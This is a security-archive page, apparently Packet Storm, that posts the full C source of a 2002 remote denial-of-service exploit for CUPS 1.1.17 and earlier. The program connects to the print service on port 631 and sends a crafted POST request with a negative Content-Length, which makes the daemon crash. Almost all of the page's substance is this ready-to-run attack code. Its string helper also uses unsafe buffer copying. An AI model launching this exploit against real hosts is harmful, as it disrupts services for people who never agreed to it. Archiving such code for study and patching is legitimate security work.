what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

shutdown_Cups.c

shutdown_Cups.c
Posted Dec 29, 2002
Authored by Gabriel Maggiotti | Site qb0x.net

Cups-1.1.17 and below remote denial of service exploit. Tested against Red Hat Linux 7.0 and 7.3.

tags | exploit, remote, denial of service
systems | linux, redhat
SHA-256 | 06b5099910189dc6cc9b50a2ea27515f24becd3bf3b677bd9981ee2dec92f31b

shutdown_Cups.c

Change Mirror Download
/*
---------------------------------------------------------------------------
Web: http://qb0x.net Author: Gabriel A. Maggiotti
Date: December 28, 2002 E-mail: gmaggiot@ciudad.com.ar
---------------------------------------------------------------------------

Summary
-------
This code produces a denial of service (DoS), because off negative length
in memcpy() calls. This issue is similar to the Apache HTTP Server chunking
bug that is exploitable on OpenBSD, FreeBSD, and NetBSD due to their
implementations of memcpy(). Platforms [1], [2] and [3] are all susceptible
to this vulnerability.

The following test platforms were used:

[1] - Red Hat Linux 7.0 running CUPS-1.1.14-5 (RPM)
[2] - Red Hat Linux 7.3 running CUPS-1.1.14-15 (RPM)
[3] - Red Hat Linux 7.3 running CUPS-1.1.17 (Source Install)

*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <unistd.h>
#include <fcntl.h>

#define PORT 631
#define MAX 1000

char *str_replace(char *rep, char *orig, char *string)
{
int len=strlen(orig);
char buf[500]="";
char *pt=strstr(string,orig);
strncpy(buf,rep, sizeof(buf));
strncat(buf,pt+strlen(orig), sizeof(buf));
strcpy(pt,buf);
return string;
}

int main(int argc,char *argv[MAX])
{
int sockfd;
int numbytes;
int port;
char *ptr;

char POST_REQUEST[MAX] =
"POST /printers HTTP/1.1\n"
"Host: ##host\n"
"Authorization: Basic AAA\n"
"Content-Length: -1\n\n\n";

struct hostent *he;
struct sockaddr_in their_addr;

if(argc!=2)
{
fprintf(stderr,"usage:%s <hostname>\n",argv[0]);
exit(1);
}

ptr=str_replace(argv[1],"##host",POST_REQUEST);
printf("%s\n",ptr);

if((he=gethostbyname(argv[1]))==NULL)
{
perror("gethostbyname");
exit(1);
}


if( (sockfd=socket(AF_INET,SOCK_STREAM,0)) == -1) {
perror("socket"); exit(1);
}

their_addr.sin_family=AF_INET;
their_addr.sin_port=htons(PORT);
their_addr.sin_addr=*((struct in_addr*)he->h_addr);
bzero(&(their_addr.sin_zero),8);

if( connect(sockfd,(struct sockaddr*)&their_addr,\
sizeof(struct sockaddr))==-1)
{
perror("connect");
exit(1);
}


if( send(sockfd,ptr,strlen(POST_REQUEST),0) ==-1)
{
perror("send");
exit(0);
}

close(sockfd);

return 0;
}

/*
---------------------------------------------------------------------------
research-list@qb0x.net is dedicated to interactively researching vulnerab-
ilities, report potential or undeveloped holes in any kind of computer system.
To subscribe to research-list@qb0x.ne t send a blank email to
research-list-subscribe@qb0x.net. More help available sending an email
to research-list-help@qb0x.net.
Note: the list doesn't allow html, it will be stripped from messages.
---------------------------------------------------------------------------
*/
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close